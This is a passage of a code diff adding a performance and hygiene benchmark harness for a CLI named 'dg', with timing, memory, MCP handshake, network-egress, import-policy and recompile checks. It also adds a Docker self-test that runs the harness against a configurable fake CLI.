+    def __init__(self):
+        super().__init__(daemon=True)
+        self.s = socket.socket()
+        self.s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        self.s.bind(("127.0.0.1", PROXY_PORT))
+        self.s.listen(512)
+        self.accepts = 0
+        self.held = []
+
+    def run(self):
+        while True:
+            try:
+                c, _ = self.s.accept()
+            except OSError:
+                return
+            self.accepts += 1
+            self.held.append(c)
+
+
+def hyperfine(cmd, runs, warmup, env=None, input_path=None, extra=None):
+    fd, path = tempfile.mkstemp(suffix=".json")
+    os.close(fd)
+    args = [
+        "hyperfine",
+        "-N",
+        "-i",
+        "--style",
+        "none",
+        "--warmup",
+        str(warmup),
+        "--runs",
+        str(runs),
+        "--export-json",
+        path,
+    ]
+    if input_path:
+        args += ["--input", input_path]
+    args += extra or []
+    args += ["--", " ".join(_shq(c) for c in cmd)]
+    r = subprocess.run(
+        args, env=env, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, text=True
+    )
+    if r.returncode != 0:
+        raise RuntimeError("hyperfine failed: " + r.stderr[-500:])
+    with open(path) as f:
+        res = json.load(f)["results"][0]
+    os.unlink(path)
+    times = [t * 1000 for t in res["times"]]
+    return times, res.get("exit_codes", [])
+
+
+def _shq(s):
+    # hyperfine -N splits the command with shell-words rules
+    if re.fullmatch(r"[A-Za-z0-9_./=:@%+,-]+", s):
+        return s
+    return "'" + s.replace("'", "'\"'\"'") + "'"
+
+
+def bad_codes(codes, ok):
+    """Exit codes outside the row's accepted set (default {0}); a failed run is never a valid timing."""
+    return sorted(set(codes) - set(ok))
+
+
+# ----------------------------------------------------------------- rows
+def cmd_hf(a):
+    make_files(a.make_file)
+    env = env_with(a.env)
+    inp = session_file() if a.mcp_session else None
+
+    def go():
+        times, codes = hyperfine(a.cmd, a.runs, a.warmup, env=env, input_path=inp)
+        row = {
+            "unit": "ms",
+            "method": "hyperfine -N --warmup %d --runs %d" % (a.warmup, a.runs),
+        }
+        row.update(stats_ms(times))
+        row["value"] = row["median"]
+        row["exit_codes"] = sorted(set(codes))
+        row["times"] = [round(t, 4) for t in times]
+        bad = bad_codes(codes, a.ok_codes)
+        if bad:
+            row["value"], row["error"] = None, "exit codes %s" % bad
+        if a.capture_bytes:
+            r = subprocess.run(
+                a.cmd, env=env, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL
+            )
+            row["stdout_bytes"] = len(r.stdout)
+            try:
+                json.loads(r.stdout)
+                row["stdout_is_json"] = True
+            except ValueError:
+                row["stdout_is_json"] = False
+            if a.require_json and not (
+                row["stdout_is_json"] and row["stdout_bytes"] > 0
+            ):
+                row["value"] = None
+                row.setdefault("error", "stdout is not a non-empty JSON document")
+        return row
+
+    try:
+        if a.serve is not None:
+            with FakeServer(a.serve):
+                row = go()
+        else:
+            row = go()
+    except Exception as e:  # noqa: BLE001 - recorded, not raised
+        row = {"value": None, "unit": "ms", "error": str(e)[:300]}
+    row["cmd"] = a.cmd
+    write(a.name, row)
+
+
+def cmd_rss(a):
+    make_files(a.make_file)
+    env = env_with(a.env)
+    kbs, walls, codes = [], [], []
+
+    def go():
+        for _ in range(a.runs):
+            fd, tf = tempfile.mkstemp()
+            os.close(fd)
+            t = time.perf_counter()
+            r = subprocess.run(
+                ["/usr/bin/time", "-f", "%M", "-o", tf] + a.cmd,
+                env=env,
+                stdout=subprocess.DEVNULL,
+                stderr=subprocess.DEVNULL,
+            )
+            walls.append((time.perf_counter() - t) * 1000)
+            codes.append(r.returncode)
+            with open(tf) as f:
+                kbs.append(int(f.read().strip().splitlines()[-1]))
+            os.unlink(tf)
+
+    if a.serve is not None:
+        with FakeServer(a.serve):
+            go()
+    else:
+        go()
+    mbs = [k / 1024 for k in kbs]
+    row = {
+        "unit": "MB",
+        "method": "GNU time %%M, %d runs" % a.runs,
+        "value": round(median(mbs), 1),
+        "samples_mb": [round(m, 1) for m in mbs],
+        "wall_ms": [round(w) for w in walls],
+        "exit_codes": sorted(set(codes)),
+        "cmd": a.cmd,
+    }
+    bad = bad_codes(codes, a.ok_codes)
+    if bad:
+        row["value"], row["error"] = None, "exit codes %s" % bad
+    write(a.name, row)
+
+
+def _mcp_once(cmd, env, timeout, detail=False):
+    """One MCP session. Returns timings (ms) and, with detail, tool stats."""
+    t0 = time.perf_counter()
+    p = subprocess.Popen(
+        cmd,
+        stdin=subprocess.PIPE,
+        stdout=subprocess.PIPE,
+        stderr=subprocess.PIPE,
+        env=env,
+    )
+    sel = selectors.DefaultSelector()
+    sel.register(p.stdout, selectors.EVENT_READ, "out")
+    sel.register(p.stderr, selectors.EVENT_READ, "err")
+    buf = {"out": b"", "err": b""}
+    junk = []
+    msgs = {}
+    open_streams = 2
+
+    def pump(want_id, deadline):
+        nonlocal open_streams
+        while time.perf_counter() < deadline and open_streams:
+            for key, _ in sel.select(timeout=max(0.0, deadline - time.perf_counter())):
+                chunk = os.read(key.fileobj.fileno(), 65536)
+                if not chunk:
+                    sel.unregister(key.fileobj)
+                    open_streams -= 1
+                    continue
+                if key.data == "err":
+                    buf["err"] = (buf["err"] + chunk)[-4000:]
+                    continue
+                buf["out"] += chunk
+                while b"\n" in buf["out"]:
+                    line, buf["out"] = buf["out"].split(b"\n", 1)
+                    if not line.strip():
+                        continue
+                    try:
+                        m = json.loads(line)
+                        if not isinstance(m, dict) or m.get("jsonrpc") != "2.0":
+                            raise ValueError
+                    except ValueError:
+                        junk.append(line)
+                        continue
+                    if "id" in m:
+                        msgs[m["id"]] = (time.perf_counter(), m, len(line))
+                if want_id in msgs:
+                    return msgs[want_id]
+        return msgs.get(want_id)
+
+    out = {}
+    try:
+        p.stdin.write((json.dumps(INIT) + "\n").encode())
+        p.stdin.flush()
+        r = pump(1, t0 + timeout)
+        if not r or "result" not in r[1]:
+            out["error"] = (
+                "no initialize result"
+                if not r
+                else "initialize error: %s" % json.dumps(r[1].get("error"))[:200]
+            )
+        else:
+            out["init_ms"] = (r[0] - t0) * 1000
+            if detail:
+                res = r[1]["result"]
+                out["protocol"] = res.get("protocolVersion")
+                out["server"] = (res.get("serverInfo") or {}).get("name")
+                out["server_version"] = (res.get("serverInfo") or {}).get("version")
+            p.stdin.write(
+                (json.dumps(INITIALIZED) + "\n" + json.dumps(LIST) + "\n").encode()
+            )
+            p.stdin.flush()
+            r2 = pump(2, time.perf_counter() + timeout)
+            if r2 and "result" in r2[1]:
+                out["list_ms"] = (r2[0] - t0) * 1000
+                if detail:
+                    tools = r2[1]["result"].get("tools", [])
+                    n = len(tools)
+                    size = r2[
+                        2
+                    ]  # the raw tools/list response line as received, without its newline
+                    out.update(
+                        tool_count=n,
+                        annotations=sum(1 for t in tools if t.get("annotations")),
+                        output_schema=sum(1 for t in tools if t.get("outputSchema")),
+                        tools_list_bytes=size,
+                        bytes_per_tool=round(size / n, 1) if n else None,
+                    )
+            elif detail:
+                out["list_error"] = (
+                    "no tools/list result"
+                    if not r2
+                    else json.dumps(r2[1].get("error"))[:200]
+                )
+        if detail:
+            # offline cleanliness: still alive after the handshake, no junk on stdout
+            pump(-1, time.perf_counter() + 0.3)
+            out["alive_after_list"] = p.poll() is None
+    except (BrokenPipeError, OSError) as e:
+        out.setdefault("error", "pipe: %s" % e)
+    finally:
+        try:
+            p.stdin.close()
+        except OSError:
+            pass
+        try:
+            p.wait(timeout=3)
+        except subprocess.TimeoutExpired:
+            p.kill()
+            p.wait()
+        if detail:
+            pump(-1, time.perf_counter() + 0.2)
+            out["exit_code"] = p.returncode
+            out["stdout_junk_lines"] = len(junk)
+            out["stdout_junk_bytes"] = sum(len(j) + 1 for j in junk) + len(
+                buf["out"].strip()
+            )
+            out["exit_ms"] = round((time.perf_counter() - t0) * 1000, 1)
+    return out
+
+
+def cmd_mcp(a):
+    env = env_with(a.env)
+    first = _mcp_once(a.cmd, env, a.timeout, detail=True)
+    detail = {k: v for k, v in first.items() if k not in ("init_ms", "list_ms")}
+    base = {
+        "cmd": a.cmd,
+        "method": "spawn -> response, perf_counter; %d warmup + %d runs; sizes are the raw tools/list response bytes (KB = 1024)"
+        % (a.warmup, a.runs),
+        "protocol_sent": INIT["params"]["protocolVersion"],
+    }
+    if "init_ms" not in first:
+        write(
+            a.name + "_init",
+            dict(base, value=None, unit="ms", error=first.get("error"), detail=detail),
+        )
+        write(
+            a.name + "_list",
+            dict(base, value=None, unit="ms", error=first.get("error")),
+        )
+    else:
+        for _ in range(a.warmup):
+            _mcp_once(a.cmd, env, a.timeout)
+        inits, lists = [], []
+        for _ in range(a.runs):
+            r = _mcp_once(a.cmd, env, a.timeout)
+            if "init_ms" in r:
+                inits.append(r["init_ms"])
+            if "list_ms" in r:
+                lists.append(r["list_ms"])
+        row = dict(base, unit="ms", detail=detail, **stats_ms(inits))
+        row["value"] = row["median"]
+        row["times"] = [round(t, 4) for t in inits]
+        write(a.name + "_init", row)
+        if lists:
+            row = dict(base, unit="ms", **stats_ms(lists))
+            row["value"] = row["median"]
+            row["times"] = [round(t, 4) for t in lists]
+        else:
+            row = dict(
+                base,
+                value=None,
+                unit="ms",
+                error=detail.get("list_error", "no tools/list result"),
+            )
+        write(a.name + "_list", row)
+    # derived single-value rows used by gates
+    d = detail
+    n = d.get("tool_count")
+    # with no tool list, the derived rows carry the parent's reason, not a bare null
+    err = (
+        None
+        if n
+        else (d.get("error") or d.get("list_error") or "no tools in tools/list")
+    )
+    write(
+        a.name + "_tools",
+        {"value": n, "unit": "count", "detail": d, "error": err if n is None else None},
+    )
+    write(
+        a.name + "_annotations_pct",
+        {
+            "value": round(100.0 * d["annotations"] / n, 1) if n else None,
+            "unit": "%",
+            "error": err,
+        },
+    )
+    write(
+        a.name + "_output_schema_pct",
+        {
+            "value": round(100.0 * d["output_schema"] / n, 1) if n else None,
+            "unit": "%",
+            "error": err,
+        },
+    )
+    write(
+        a.name + "_list_kb",
+        {
+            "value": round(d["tools_list_bytes"] / 1024, 2) if n else None,
+            "unit": "KB",
+            "error": err,
+        },
+    )
+    write(
+        a.name + "_kb_per_tool",
+        {
+            "value": round(d["bytes_per_tool"] / 1024, 3) if n else None,
+            "unit": "KB",
+            "error": err,
+        },
+    )
+    clean = (
+        (d.get("stdout_junk_bytes", 1) == 0)
+        and bool(d.get("alive_after_list"))
+        and "init_ms" in first
+    )
+    write(
+        a.name + "_offline_clean",
+        {
+            "value": clean,
+            "unit": "bool",
+            "detail": {
+                k: d.get(k)
+                for k in (
+                    "stdout_junk_lines",
+                    "stdout_junk_bytes",
+                    "alive_after_list",
+                    "exit_code",
+                    "error",
+                )
+            },
+        },
+    )
+
+
+def cmd_egress(a):
+    env = env_with(a.env)
+    inp = session_file() if a.mcp_session else None
+    # 1) strace: every connect() on an AF_INET/AF_INET6 socket, any destination
+    fd, st = tempfile.mkstemp()
+    os.close(fd)
+    stdin = open(inp, "rb") if inp else subprocess.DEVNULL
+    r = subprocess.run(
+        [
+            "timeout",
+            "60",
+            "strace",
+            "-f",
+            "-qq",
+            "-e",
+            "trace=connect,execve",
+            "-o",
+            st,
+            "--",
+        ]
+        + a.cmd,
+        env=env,
+        stdin=stdin,
+        stdout=subprocess.DEVNULL,
+        stderr=subprocess.PIPE,
+    )
+    if inp:
+        stdin.close()
+    with open(st) as f:
+        traced = f.readlines()
+    lines = [ln for ln in traced if "connect(" in ln]
+    strace_ok = any(
+        "execve(" in ln for ln in traced
+    )  # no execve line means ptrace was refused
+    os.unlink(st)
+    inet = [ln for ln in lines if "sa_family=AF_INET" in ln]
+    ports = sorted({int(m) for ln in inet for m in re.findall(r"htons\((\d+)\)", ln)})
+    # 2) hang proxy: proxy env points at a listener that accepts and never answers
+    proxy = HangProxy()
+    proxy.start()
+    purl = "http://127.0.0.1:%d" % PROXY_PORT
+    penv = dict(env)
+    for k in (
+        "HTTPS_PROXY",
+        "HTTP_PROXY",
+        "https_proxy",
+        "http_proxy",
+        "ALL_PROXY",
+        "all_proxy",
+    ):
+        penv[k] = purl
+    wrapped = ["timeout", "60"] + a.cmd
+    warm, wcodes = hyperfine(wrapped, a.runs, 2, env=env, input_path=inp)
+    black, _ = hyperfine(wrapped, a.runs, 0, env=penv, input_path=inp)
+    w, b = median(warm), median(black)
+    limit = max(25.0, 0.2 * w)
+    row = {
+        "value": len(inet) + proxy.accepts,
+        "unit": "count",
+        "method": "strace -f -e trace=connect (AF_INET/AF_INET6, any address) + hang-proxy accept count; backstop: hyperfine %d runs"
+        % a.runs,
+        "connects_inet": len(inet),
+        "connect_ports": ports,
+        "connects_other_families": len(lines) - len(inet),
+        "proxy_accepts": proxy.accepts,
+        "proxy_accepts_per_run": round(proxy.accepts / max(1, a.runs), 2),
+        "strace_ran": strace_ok,
+        "exit_code": r.returncode,
+        "warm_ms": round(w, 3),
+        "blackholed_ms": round(b, 3),
+        "delta_ms": round(b - w, 3),
+        "backstop_limit_ms": round(limit, 3),
+        "backstop_ok": (b - w) <= limit,
+        "cmd": a.cmd,
+    }
+    delta = {
+        "value": row["delta_ms"],
+        "unit": "ms",
+        "limit": row["backstop_limit_ms"],
+        "ok": row["backstop_ok"],
+    }
+    if not strace_ok:
+        row["value"], row["error"] = (
+            None,
+            "strace could not trace the command (ptrace refused?)",
+        )
+    elif bad_codes([r.returncode], a.ok_codes):
+        row["value"], row["error"] = None, "exit code %d" % r.returncode
+    if bad_codes(wcodes, a.ok_codes):
+        delta["value"], delta["error"] = (
+            None,
+            "exit codes %s" % bad_codes(wcodes, a.ok_codes),
+        )
+    write(a.name, row)
+    write(a.name + "_delta_ms", delta)
+
+
+def _policy():
+    with open(GATES) as f:
+        return json.load(f)["imports"]
+
+
+IMPORT_RE = re.compile(r"^import time:\s+\d+\s+\|\s+\d+\s+\|\s?(\s*)(\S+)\s*$")
+
+
+def classify(modules, policy, path):
+    std = set(sys.stdlib_module_names)
+    allow = policy["allowlist"]
+    fp_prefixes = tuple(policy["first_party_prefixes"])
+    first_party = [m for m in modules if m.split(".")[0].startswith(fp_prefixes)]
+    third = sorted(
+        {
+            m.split(".")[0]
+            for m in modules
+            if m.split(".")[0] not in std
+            and m not in first_party
+            and m not in allow["extra"]
+        }
+    )
+    forb = sorted(
+        {
+            f
+            for f in policy["forbidden"].get(path, [])
+            for m in modules
+            if m == f or m.startswith(f + ".")
+        }
+    )
+    viol = []
+    if path in allow["paths"]:
+        excl_top = set(allow["stdlib_exclude"])
+        dotted = tuple(allow["dotted_exclude"])
+        for m in modules:
+            top = m.split(".")[0]
+            if m in allow["extra"]:
+                continue
+            if top.startswith(fp_prefixes):
+                if m not in allow["first_party"]:
+                    viol.append(m)
+                continue
+            if (
+                top not in std
+                or top in excl_top
+                or any(m == d or m.startswith(d + ".") for d in dotted)
+            ):
+                viol.append(m)
+    return {
+        "modules": len(modules),
+        "first_party_modules": len(first_party),
+        "third_party_top_level": third,
+        "forbidden_hits": forb,
+        "allowlist_checked": path in allow["paths"],
+        "allowlist_violations": len(viol),
+        "allowlist_violation_sample": viol[:25],
+    }
+
+
+def cmd_imports(a):
+    env = env_with(a.env)
+    env["PYTHONPROFILEIMPORTTIME"] = "1"
+    inp = session_file() if a.mcp_session else None
+    stdin = open(inp, "rb") if inp else subprocess.DEVNULL
+    r = subprocess.run(
+        ["timeout", "60"] + a.cmd,
+        env=env,
+        stdin=stdin,
+        stdout=subprocess.DEVNULL,
+        stderr=subprocess.PIPE,
+        text=True,
+        errors="replace",
+    )
+    mods = []
+    for ln in r.stderr.splitlines():
+        m = IMPORT_RE.match(ln)
+        if m:
+            mods.append(m.group(2))
+    res = classify(mods, _policy(), a.path)
+    res["exit_code"] = r.returncode
+    res["cmd"] = a.cmd
+    res["method"] = (
+        "PYTHONPROFILEIMPORTTIME=1 through the registered command; every module imported during the process"
+    )
+    err = None
+    if not mods:
+        # fail closed: an interpreter started with -I/-E ignores PYTHONPROFILEIMPORTTIME
+        err = "no import-time lines (interpreter ignored PYTHONPROFILEIMPORTTIME?)"
+    elif bad_codes([r.returncode], a.ok_codes):
+        # a crash part-way through hides whatever it would have imported next
+        err = "exit code %d" % r.returncode
+    write(
+        a.name,
+        dict(
+            res,
+            value=None if err else len(res["forbidden_hits"]),
+            unit="count",
+            error=err,
+        ),
+    )
+    if res["allowlist_checked"]:
+        write(
+            a.name + "_allowlist",
+            {
+                "value": None if err else res["allowlist_violations"],
+                "unit": "count",
+                "sample": res["allowlist_violation_sample"],
+                "error": err,
+            },
+        )
+
+
+QUOTED_PY_RE = re.compile(r"^# code object from '[^']*\.py'$")
+SOURCE_RE = re.compile(r"^# code object from [^'].*\.py$")
+
+
+def cmd_verbose(a):
+    env = env_with(a.env)
+    env["PYTHONVERBOSE"] = "1"
+    inp = session_file() if a.mcp_session else None
+    stdin = open(inp, "rb") if inp else subprocess.DEVNULL
+    r = subprocess.run(
+        ["timeout", "60"] + a.cmd,
+        env=env,
+        stdin=stdin,
+        stdout=subprocess.DEVNULL,
+        stderr=subprocess.PIPE,
+        text=True,
+        errors="replace",
+    )
+    lines = r.stderr.splitlines()
+    src = [ln for ln in lines if SOURCE_RE.match(ln)]
+    quoted = [ln for ln in lines if QUOTED_PY_RE.match(ln)]
+    pyc = [
+        ln
+        for ln in lines
+        if ln.startswith("# code object from '") and ln.endswith(".pyc'")
+    ]
+    err = (
+        None
+        if (src or pyc)
+        else "no code-object lines (interpreter ignored PYTHONVERBOSE?)"
+    )
+    if err is None and bad_codes([r.returncode], a.ok_codes):
+        err = "exit code %d" % r.returncode
+    write(
+        a.name,
+        {
+            "value": None if err else len(src),
+            "error": err,
+            "unit": "count",
+            "method": "PYTHONVERBOSE=1, first run in a fresh container; counts '# code object from <path>.py' (unquoted = compiled from source)",
+            "source_compiles": len(src),
+            "pyc_loads": len(pyc),
+            "quoted_py_matches": len(quoted),
+            "sample": [ln[len("# code object from ") :] for ln in src[:15]],
+            "exit_code": r.returncode,
+            "cmd": a.cmd,
+        },
+    )
+
+
+def main(argv=None):
+    ap = argparse.ArgumentParser()
+    sub = ap.add_subparsers(dest="sub", required=True)
+
+    def common(p, runs=30, warmup=3):
+        p.add_argument("--name", required=True)
+        p.add_argument("--runs", type=int, default=runs)
+        p.add_argument("--warmup", type=int, default=warmup)
+        p.add_argument("--env", action="append", default=[])
+        p.add_argument(
+            "--mcp-session",
+            action="store_true",
+            help="feed initialize+initialized+tools/list on stdin",
+        )
+        p.add_argument(
+            "--ok-codes",
+            type=lambda v: [int(x) for x in v.split(",")],
+            default=[0],
+            help="exit codes that count as a valid run (default 0)",
+        )
+        p.add_argument("cmd", nargs=argparse.REMAINDER)
+
+    p = sub.add_parser("hf")
+    common(p)
+    p.add_argument(
+        "--serve",
+        type=int,
+        default=None,
+        help="start the fake API with this many words",
+    )
+    p.add_argument("--make-file", action="append", default=[])
+    p.add_argument("--capture-bytes", action="store_true")
+    p.add_argument(
+        "--require-json",
+        action="store_true",
+        help="with --capture-bytes: stdout must be non-empty JSON",
+    )
+    p = sub.add_parser("rss")
+    common(p, runs=3)
+    p.add_argument("--serve", type=int, default=None)
+    p.add_argument("--make-file", action="append", default=[])
+    p = sub.add_parser("mcp")
+    common(p)
+    p.add_argument("--timeout", type=float, default=15.0)
+    p = sub.add_parser("egress")
+    common(p, runs=3)
+    p = sub.add_parser("imports")
+    common(p)
+    p.add_argument("--path", required=True)
+    p = sub.add_parser("verbose")
+    common(p)
+    a = ap.parse_args(argv)
+    if a.cmd and a.cmd[0] == "--":
+        a.cmd = a.cmd[1:]
+    if not a.cmd:
+        ap.error("missing command after --")
+    {
+        "hf": cmd_hf,
+        "rss": cmd_rss,
+        "mcp": cmd_mcp,
+        "egress": cmd_egress,
+        "imports": cmd_imports,
+        "verbose": cmd_verbose,
+    }[a.sub](a)
+
+
+if __name__ == "__main__":
+    main()
diff --git a/bench/run.sh b/bench/run.sh
new file mode 100755
index 00000000..9c17a947
--- /dev/null
+++ b/bench/run.sh
@@ -0,0 +1,8 @@
+#!/bin/sh
+# Run the benchmark. Examples:
+#   bench/run.sh                      # dg at HEAD plus every pinned competitor
+#   bench/run.sh --subjects dg        # dg only
+#   bench/run.sh --ref 793fa60 --subjects dg,voice
+# Prints the path of results.json; evaluate it with bench/check.py.
+set -eu
+exec python3 "$(dirname "$0")/bench.py" run "$@"
diff --git a/bench/selftest.sh b/bench/selftest.sh
new file mode 100755
index 00000000..64c9e4fc
--- /dev/null
+++ b/bench/selftest.sh
@@ -0,0 +1,99 @@
+#!/bin/sh
+# Harness self-test against a fake CLI (bench/tests/fake). Needs Docker only.
+#  1. A/A: fake vs fake, paired          -> every row green
+#  2. +1 ms on the MCP row               -> green (below the 2 ms floor)
+#  3. +5 ms on the ~9 ms MCP row         -> red, and exit 1 once the row is blocking
+#  4. a fake that exits 1 fast            -> red (a failed run is never "faster")
+#  4b. the same fake, full run at 0.5.0   -> import and no-recompile gates fail on the exit code
+#  5. clean fake at 0.6.0, full run       -> MCP/egress/import rows measured, parsers saw real lines
+#  6. fake that attempts egress, imports a forbidden module and compiles from source, at 0.5.0
+#                                          -> the zero-egress, forbidden-module and no-recompile gates block
+#  7. paired run, head compiles a module once into a writable dir
+#                                          -> no-recompile sees it: deterministic rows run before warm rounds
+set -eu
+B=$(cd "$(dirname "$0")" && pwd)
+OUT=${SELFTEST_OUT:-$B/out/selftest-$(date -u +%Y%m%dT%H%M%SZ)}
+mkdir -p "$OUT"
+PY=$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["images"]["python"])' "$B/competitors.json")
+check() { docker run --rm --network none -v "$B:/bench:ro" -v "$OUT:/o" -e BENCH_GATES="${GATES:-/bench/gates.json}" "$PY" python3 /bench/check.py "$@"; }
+py() { docker run --rm --network none -v "$B:/bench:ro" -v "$OUT:/o" "$PY" python3 -c "$@"; }
+fail() { echo "SELFTEST FAIL: $*" >&2; exit 1; }
+
+echo "== 1. A/A"
+python3 "$B/bench.py" pair --base fake: --head fake: --rows mcp_init,version_warm --rounds 6 --out "$OUT/aa" --skip-deterministic >/dev/null
+check pair /o/aa/pair.json --json /o/aa/check.json >/dev/null || fail "A/A exited non-zero"
+py 'import json; r=json.load(open("/o/aa/check.json"))["pair"]; assert all(x["status"]=="green" for x in r), r' || fail "A/A has a red row"
+
+echo "== 2. +1 ms"
+python3 "$B/bench.py" pair --base fake: --head fake:delay=1 --rows mcp_init --rounds 6 --out "$OUT/plus1" --skip-deterministic >/dev/null
+check pair /o/plus1/pair.json --json /o/plus1/check.json >/dev/null || fail "+1 ms exited non-zero"
+py 'import json; r=json.load(open("/o/plus1/check.json"))["pair"]; assert r[0]["status"]=="green", r' || fail "+1 ms went red"
+
+echo "== 3. +5 ms"
+python3 "$B/bench.py" pair --base fake: --head fake:delay=5 --rows mcp_init --rounds 6 --out "$OUT/plus5" --skip-deterministic >/dev/null
+check pair /o/plus5/pair.json --json /o/plus5/check.json >/dev/null || fail "+5 ms report-only run exited non-zero"
+py 'import json; r=json.load(open("/o/plus5/check.json"))["pair"]; assert r[0]["status"]=="RED", r' || fail "+5 ms not detected"
+py 'import json; g=json.load(open("/bench/gates.json")); g["regression"]["rows"]["mcp_init"]["blocking"]=True; json.dump(g, open("/o/gates-blocking.json","w"))'
+if GATES=/o/gates-blocking.json check pair /o/plus5/pair.json >/dev/null; then fail "+5 ms on a blocking row did not exit 1"; fi
+
+echo "== 4. fails fast"
+python3 "$B/bench.py" pair --base fake: --head fake:fail=true --rows version_warm --rounds 4 --out "$OUT/failfast" --skip-deterministic >/dev/null
+check pair /o/failfast/pair.json --json /o/failfast/check.json >/dev/null || fail "fail-fast report-only run exited non-zero"
+py 'import json; r=json.load(open("/o/failfast/check.json"))["pair"]; assert r[0]["status"]=="RED", r' || fail "fail-fast head not red"
+py 'import json; g=json.load(open("/bench/gates.json")); g["regression"]["rows"]["version_warm"]["blocking"]=True; json.dump(g, open("/o/gates-blocking-v.json","w"))'
+if GATES=/o/gates-blocking-v.json check pair /o/failfast/pair.json >/dev/null; then fail "fail-fast on a blocking row did not exit 1"; fi
+
+echo "== 4b. fails fast, full run at 0.5.0"
+python3 "$B/bench.py" run --ref fake:fail=true,version=0.5.0 --subjects dg --quick --cold-runs 0 --skip-data --out "$OUT/crash" >/dev/null
+if check /o/crash/results.json --json /o/crash/check.json >/dev/null; then fail "crashing fake passed the gates"; fi
+py '
+import json
+e = {x["id"]: x for x in json.load(open("/o/crash/check.json"))["gates"]}
+for g in ("D.norecompile.version", "D.forbidden.version", "D.allowlist.version"):
+    assert e[g]["outcome"] == "BLOCK" and "exit code" in e[g]["note"], e[g]
+' || fail "crashing fake gate outcomes"
+
+echo "== 5. clean fake, full run"
+python3 "$B/bench.py" run --ref fake:version=0.6.0 --subjects dg --quick --cold-runs 2 --skip-data --out "$OUT/clean" >/dev/null
+py '
+import json
+r = json.load(open("/o/clean/results.json"))["subjects"]["dg"]["rows"]
+want = {"mcp_tools": 10, "mcp_annotations_pct": 100.0, "mcp_output_schema_pct": 100.0, "mcp_offline_clean": True,
+        "egress_version": 0, "egress_help": 0, "egress_subhelp": 0, "egress_mcp": 0,
+        "imports_version_allowlist": 0, "imports_mcp_allowlist": 0, "imports_version": 0,
+        "norecompile_version": 0, "norecompile_mcp": 0}
+bad = {k: (r.get(k) or {}).get("value") for k, v in want.items() if (r.get(k) or {}).get("value") != v}
+assert not bad, bad
+for k in ("imports_version", "imports_help", "imports_subhelp", "imports_mcp"):
+    assert r[k]["modules"] > 0, (k, r[k])  # the import-time parser saw real lines
+for k in ("norecompile_version", "norecompile_help", "norecompile_mcp"):
+    assert r[k]["pyc_loads"] > 0, (k, r[k])  # the verbose parser saw real lines
+for k in ("version_warm", "help_warm", "subhelp_warm", "mcp_init", "mcp_list", "help_cold"):
+    assert isinstance(r[k]["value"], float), (k, r[k])
+assert r["help_cold"]["n"] == 2
+' || fail "clean fake rows"
+
+echo "== 6. dirty fake at 0.5.0"
+python3 "$B/bench.py" run --ref fake:egress=true,imports=asyncio,nopyc=true,version=0.5.0 --subjects dg --quick --cold-runs 0 --skip-data --out "$OUT/dirty" >/dev/null
+if check /o/dirty/results.json --json /o/dirty/check.json >/dev/null; then fail "egress gate did not block"; fi
+py '
+import json
+e = {x["id"]: x for x in json.load(open("/o/dirty/check.json"))["gates"]}
+for g in ("T4.version", "D.forbidden.version", "D.allowlist.version", "D.norecompile.version"):
+    assert e[g]["outcome"] == "BLOCK" and e[g]["status"] == "FAIL", e[g]
+' || fail "dirty fake gate outcomes"
+
+echo "== 7. paired ordering"
+python3 "$B/bench.py" pair --base fake: --head fake:nopyc_writable=true,version=0.4.0 --rows version_warm --rounds 2 --out "$OUT/order" >/dev/null
+if check pair /o/order/pair.json --json /o/order/check.json >/dev/null; then fail "source compile on head did not block"; fi
+py '
+import json
+h = json.load(open("/o/order/pair.json"))["head"]["rows"]
+assert h["norecompile_version"]["value"] == 1, h["norecompile_version"]  # first run in the container
+assert h["norecompile_help"]["value"] == 0, h["norecompile_help"]  # cached by then
+e = {x["id"]: x for x in json.load(open("/o/order/check.json"))["gates"]}
+assert e["D.norecompile.version"]["outcome"] == "BLOCK", e["D.norecompile.version"]
+assert [k for k, v in e.items() if v["outcome"] == "BLOCK"] == ["D.norecompile.version"], e
+' || fail "deterministic rows did not run first"
+
+echo "SELFTEST PASS ($OUT)"
diff --git a/bench/tests/fake/fakecli.py b/bench/tests/fake/fakecli.py
new file mode 100644
index 00000000..e5ab2249
--- /dev/null
+++ b/bench/tests/fake/fakecli.py
@@ -0,0 +1,116 @@
+"""Fake `dg` for the harness self-test. Installed at the same path as the real
+CLI, with build-time knobs baked into fake_config.json next to it:
+  delay_ms  extra latency before answering --version and the MCP initialize
+  egress    when true, every invocation attempts an outbound connect()
+  fail      when true, every invocation exits 1 immediately
+  imports   a stdlib module to import on every invocation (a forbidden-list probe)
+  nopyc     when true, import a module from a read-only dir with no .pyc
+  nopyc_writable  when true, import a module with no .pyc from a writable dir
+            (compiled once, then cached: only the first run in a container sees it)
+It answers --version, --help, `transcribe --help` and a stdio MCP handshake
+with 10 annotated tools, using the stdlib only.
+"""
+
+import json
+import os
+import sys
+import time
+
+CFG = json.load(
+    open(os.path.join(os.path.dirname(os.path.realpath(__file__)), "fake_config.json"))
+)
+
+
+def egress():
+    if CFG.get("egress"):
+        import socket
+
+        s = socket.socket()
+        s.settimeout(0.05)
+        try:
+            s.connect(("10.255.255.1", 443))
+        except OSError:
+            pass
+
+
+def delay():
+    if CFG.get("delay_ms"):
+        time.sleep(CFG["delay_ms"] / 1000.0)
+
+
+TOOLS = [
+    {
+        "name": "tool_%d" % i,
+        "description": "Fake tool %d." % i,
+        "inputSchema": {"type": "object", "properties": {"x": {"type": "string"}}},
+        "outputSchema": {"type": "object"},
+        "annotations": {"readOnlyHint": True},
+    }
+    for i in range(10)
+]
+
+
+def mcp():
+    out = sys.stdout
+    for line in sys.stdin:
+        m = json.loads(line)
+        if "id" not in m:
+            continue
+        if m["method"] == "initialize":
+            delay()
+            res = {
+                "protocolVersion": m["params"]["protocolVersion"],
+                "capabilities": {"tools": {}},
+                "serverInfo": {"name": "fake", "version": CFG["version"]},
+            }
+        elif m["method"] == "tools/list":
+            res = {"tools": TOOLS}
+        else:
+            out.write(
+                json.dumps(
+                    {
+                        "jsonrpc": "2.0",
+                        "id": m["id"],
+                        "error": {"code": -32601, "message": "nope"},
+                    }
+                )
+                + "\n"
+            )
+            out.flush()
+            continue
+        out.write(json.dumps({"jsonrpc": "2.0", "id": m["id"], "result": res}) + "\n")
+        out.flush()
+
+
+def main():
+    if CFG.get("fail"):
+        return 1
+    if CFG.get("imports"):
+        __import__(CFG["imports"])
+    if CFG.get("nopyc"):
+        sys.path.insert(0, "/opt/fakemods")
+        __import__("fake_nopyc")
+    if CFG.get("nopyc_writable"):
